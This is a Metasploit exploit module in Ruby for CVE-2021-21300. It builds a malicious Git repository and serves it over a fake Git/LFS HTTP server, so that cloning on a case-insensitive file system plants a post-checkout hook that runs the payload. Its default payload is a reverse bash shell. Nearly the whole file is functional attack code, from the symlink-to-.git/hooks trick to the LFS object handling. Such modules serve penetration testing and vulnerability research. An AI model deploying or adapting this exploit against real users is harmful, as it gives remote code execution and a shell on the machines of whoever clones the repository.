227 lines
6.7 KiB
Ruby
227 lines
6.7 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Git
|
|
include Msf::Exploit::Git::SmartHttp
|
|
include Msf::Exploit::Git::Lfs
|
|
include Msf::Exploit::Remote::HttpServer
|
|
include Msf::Exploit::FileDropper
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Git LFS Clone Command Exec',
|
|
'Description' => %q{
|
|
Git clients that support delay-capable clean / smudge
|
|
filters and symbolic links on case-insensitive file systems are
|
|
vulnerable to remote code execution while cloning a repository.
|
|
|
|
Usage of clean / smudge filters through Git LFS and a
|
|
case-insensitive file system changes the checkout order
|
|
of repository files which enables the placement of a Git hook
|
|
in the `.git/hooks` directory. By default, this module writes
|
|
a `post-checkout` script so that the payload will automatically
|
|
be executed upon checkout of the repository.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'Johannes Schindelin', # Discovery
|
|
'Matheus Tavares', # Discovery
|
|
'Shelby Pace' # Metasploit module
|
|
],
|
|
'References' => [
|
|
[ 'CVE', '2021-21300' ],
|
|
[ 'URL', 'https://seclists.org/fulldisclosure/2021/Apr/60' ],
|
|
[ 'URL', 'https://twitter.com/Foone/status/1369500506469527552?s=20' ]
|
|
],
|
|
'DisclosureDate' => '2021-04-26',
|
|
'Targets' => [
|
|
[
|
|
'Git for MacOS, Windows',
|
|
{
|
|
'Platform' => [ 'unix' ],
|
|
'Arch' => ARCH_CMD,
|
|
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
|
|
}
|
|
]
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'Notes' => {
|
|
'Stability' => [ CRASH_SAFE ],
|
|
'Reliability' => [ REPEATABLE_SESSION ],
|
|
'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ]
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
OptString.new('GIT_URI', [ false, 'The URI to use as the malicious Git instance (empty for random)', '' ])
|
|
]
|
|
)
|
|
|
|
deregister_options('RHOSTS', 'RPORT')
|
|
end
|
|
|
|
def exploit
|
|
setup_repo_structure
|
|
super
|
|
end
|
|
|
|
def setup_repo_structure
|
|
link_content = '.git/hooks'
|
|
link_name = Rex::Text.rand_text_alpha(8..12).downcase
|
|
link_obj = GitObject.build_blob_object(link_content)
|
|
|
|
dir_name = link_name.upcase
|
|
git_attr = '.gitattributes'
|
|
|
|
git_hook = 'post-checkout'
|
|
@hook_payload = "#!/bin/sh\n#{payload.encoded}"
|
|
ptr_file = generate_pointer_file(@hook_payload)
|
|
|
|
# need to initially send the pointer file
|
|
# then send the actual object when Git LFS requests it
|
|
git_hook_ptr = GitObject.build_blob_object(ptr_file)
|
|
|
|
git_attr_content = "#{dir_name}/#{git_hook} filter=lfs diff=lfs merge=lfs"
|
|
git_attr_obj = GitObject.build_blob_object(git_attr_content)
|
|
|
|
sub_file_content = Rex::Text.rand_text_alpha(0..150)
|
|
sub_file_name = Rex::Text.rand_text_alpha(8..12)
|
|
sub_file_obj = GitObject.build_blob_object(sub_file_content)
|
|
|
|
register_dir_for_cleanup('.git')
|
|
register_files_for_cleanup(git_attr, link_name)
|
|
|
|
# create subdirectory which holds payload
|
|
sub_tree =
|
|
[
|
|
{
|
|
mode: '100644',
|
|
file_name: sub_file_name,
|
|
sha1: sub_file_obj.sha1
|
|
},
|
|
{
|
|
mode: '100755',
|
|
file_name: git_hook,
|
|
sha1: git_hook_ptr.sha1
|
|
}
|
|
]
|
|
|
|
sub_tree_obj = GitObject.build_tree_object(sub_tree)
|
|
|
|
# root of repository
|
|
tree_ent =
|
|
[
|
|
{
|
|
mode: '100644',
|
|
file_name: git_attr,
|
|
sha1: git_attr_obj.sha1
|
|
},
|
|
{
|
|
mode: '040000',
|
|
file_name: dir_name,
|
|
sha1: sub_tree_obj.sha1
|
|
},
|
|
{
|
|
mode: '120000',
|
|
file_name: link_name,
|
|
sha1: link_obj.sha1
|
|
}
|
|
]
|
|
tree_obj = GitObject.build_tree_object(tree_ent)
|
|
commit = GitObject.build_commit_object(tree_sha1: tree_obj.sha1)
|
|
|
|
@git_objs =
|
|
[
|
|
commit, tree_obj, sub_tree_obj,
|
|
sub_file_obj, git_attr_obj, git_hook_ptr,
|
|
link_obj
|
|
]
|
|
|
|
@refs =
|
|
{
|
|
'HEAD' => 'refs/heads/master',
|
|
'refs/heads/master' => commit.sha1
|
|
}
|
|
end
|
|
|
|
def create_git_uri
|
|
"/#{Faker::App.name.downcase}.git".gsub(' ', '-')
|
|
end
|
|
|
|
def primer
|
|
@git_repo_uri = datastore['GIT_URI'].empty? ? create_git_uri : datastore['GIT_URI']
|
|
@git_addr = URI.parse(get_uri).merge(@git_repo_uri)
|
|
print_status("Git repository to clone: #{@git_addr}")
|
|
hardcoded_uripath(@git_repo_uri)
|
|
hardcoded_uripath("/#{Digest::SHA256.hexdigest(@hook_payload)}")
|
|
end
|
|
|
|
def on_request_uri(cli, req)
|
|
if req.uri.include?('git-upload-pack')
|
|
request = Msf::Exploit::Git::SmartHttp::Request.parse_raw_request(req)
|
|
case request.type
|
|
when 'ref-discovery'
|
|
response = send_refs(request)
|
|
when 'upload-pack'
|
|
response = send_requested_objs(request)
|
|
else
|
|
fail_with(Failure::UnexpectedReply, 'Git client did not send a valid request')
|
|
end
|
|
else
|
|
response = handle_lfs_objects(req)
|
|
unless response.code == 200
|
|
cli.send_response(response)
|
|
fail_with(Failure::UnexpectedReply, 'Failed to respond to Git client\'s LFS request')
|
|
end
|
|
end
|
|
|
|
cli.send_response(response)
|
|
end
|
|
|
|
def send_refs(req)
|
|
fail_with(Failure::UnexpectedReply, 'Git client did not perform a clone') unless req.service == 'git-upload-pack'
|
|
|
|
response = get_ref_discovery_response(req, @refs)
|
|
fail_with(Failure::UnexpectedReply, 'Failed to build a proper response to the ref discovery request') unless response
|
|
|
|
response
|
|
end
|
|
|
|
def send_requested_objs(req)
|
|
upload_pack_resp = get_upload_pack_response(req, @git_objs)
|
|
unless upload_pack_resp
|
|
fail_with(Failure::UnexpectedReply, 'Could not generate upload-pack response')
|
|
end
|
|
|
|
upload_pack_resp
|
|
end
|
|
|
|
def handle_lfs_objects(req)
|
|
git_hook_obj = GitObject.build_blob_object(@hook_payload)
|
|
|
|
case req.method
|
|
when 'POST'
|
|
print_status('Sending payload data...')
|
|
response = get_batch_response(req, @git_addr, git_hook_obj)
|
|
fail_with(Failure::UnexpectedReply, 'Client request was invalid') unless response
|
|
when 'GET'
|
|
print_status('Sending LFS object...')
|
|
response = get_requested_obj_response(req, git_hook_obj)
|
|
fail_with(Failure::UnexpectedReply, 'Client sent invalid request') unless response
|
|
else
|
|
fail_with(Failure::UnexpectedReply, 'Unable to handle client\'s request')
|
|
end
|
|
|
|
response
|
|
end
|
|
end
|